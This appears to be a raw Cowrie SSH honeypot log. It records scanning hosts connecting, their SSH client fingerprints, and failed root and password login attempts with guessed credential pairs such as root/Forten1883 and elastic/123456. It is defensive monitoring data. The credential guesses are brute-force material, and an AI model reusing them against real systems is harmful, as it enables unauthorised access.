{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.708560Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.888519Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.891497Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.983215Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:89:bc:ac:0d:45:2f:84:ed:84:45:2d:12:60:ce:75","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyDdDzGKUTaIMbB3l+M2LgYScsUS3dPNUnOLpkkmulxnFBQSlogj0CgPpZy7fHLz5gXvCxIXSA6h+EXcJPrXyOIo15oipDO5tbCB4fUdCK6I9Sv8H8kPEzoQ13fmaG9Y8DiZltqwdHcmqjBwJtJ6+Gk7EL4IzgN2x1Zk2yIGNfJgPqMacy80rrsc7vbCIS011SZ2H6befkxc3ueJHVQS+tZu+Uo1W5vY404HJcfHWzSsUz2wYhgSp1hQJxBydDZPWtQEXoGprLpr3pSFkI3DFrJrRCGnIQBgHpOzT3ExzeqbhqiPrRqgYW8wvDSo8rzyZLFT2SLX4QbRJ6OhFh8CZV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:52.986079Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":50322,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3436c01e267","protocol":"ssh","message":"New connection: 5.196.136.131:50322 (10.17.0.5:22) [session: c3436c01e267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:55.565623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:55.569149Z","src_ip":"5.196.136.131","session":"c3436c01e267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:55.650417Z","src_ip":"5.196.136.131","session":"c3436c01e267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:55.896976Z","src_ip":"5.196.136.131","session":"c3436c01e267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:56.980696Z","src_ip":"5.196.136.131","session":"c3436c01e267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":57662,"dst_ip":"159.203.135.109","dst_port":22,"session":"a7a386019056","protocol":"ssh","message":"New connection: 103.82.36.79:57662 (159.203.135.109:22) [session: a7a386019056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:58.810543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:58.814512Z","src_ip":"103.82.36.79","session":"a7a386019056","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:59.074907Z","src_ip":"103.82.36.79","session":"a7a386019056","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:23:59.847743Z","src_ip":"103.82.36.79","session":"a7a386019056","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":31042,"dst_ip":"10.17.0.5","dst_port":22,"session":"bff429b5553b","protocol":"ssh","message":"New connection: 5.196.136.131:31042 (10.17.0.5:22) [session: bff429b5553b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:00.018545Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:00.026897Z","src_ip":"5.196.136.131","session":"bff429b5553b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:00.122559Z","src_ip":"5.196.136.131","session":"bff429b5553b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:00.367871Z","src_ip":"5.196.136.131","session":"bff429b5553b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:01.112397Z","src_ip":"103.82.36.79","session":"a7a386019056","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:01.450148Z","src_ip":"5.196.136.131","session":"bff429b5553b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:02.619384Z","src_ip":"139.19.117.129","session":"b36f39e514d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":54698,"dst_ip":"10.17.0.5","dst_port":22,"session":"4256f4f42eec","protocol":"ssh","message":"New connection: 5.196.136.131:54698 (10.17.0.5:22) [session: 4256f4f42eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:04.468071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:04.474380Z","src_ip":"5.196.136.131","session":"4256f4f42eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:04.550162Z","src_ip":"5.196.136.131","session":"4256f4f42eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:04.777080Z","src_ip":"5.196.136.131","session":"4256f4f42eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:05.855305Z","src_ip":"5.196.136.131","session":"4256f4f42eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":29216,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f6055f1881c","protocol":"ssh","message":"New connection: 5.196.136.131:29216 (10.17.0.5:22) [session: 8f6055f1881c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:08.965204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:08.969161Z","src_ip":"5.196.136.131","session":"8f6055f1881c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:09.045262Z","src_ip":"5.196.136.131","session":"8f6055f1881c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:09.275541Z","src_ip":"5.196.136.131","session":"8f6055f1881c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:10.355121Z","src_ip":"5.196.136.131","session":"8f6055f1881c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":33055,"dst_ip":"10.17.0.5","dst_port":22,"session":"40470957322b","protocol":"ssh","message":"New connection: 5.196.136.131:33055 (10.17.0.5:22) [session: 40470957322b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:13.380599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:13.386625Z","src_ip":"5.196.136.131","session":"40470957322b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:13.462892Z","src_ip":"5.196.136.131","session":"40470957322b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gabriel","password":"gabriel","message":"login attempt [gabriel/gabriel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:13.689151Z","src_ip":"5.196.136.131","session":"40470957322b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:14.767514Z","src_ip":"5.196.136.131","session":"40470957322b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.196.136.131","src_port":36798,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1b8068aa521","protocol":"ssh","message":"New connection: 5.196.136.131:36798 (10.17.0.5:22) [session: f1b8068aa521]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:17.780927Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:24:17.784731Z","src_ip":"5.196.136.131","session":"f1b8068aa521","protocol":"ssh"}
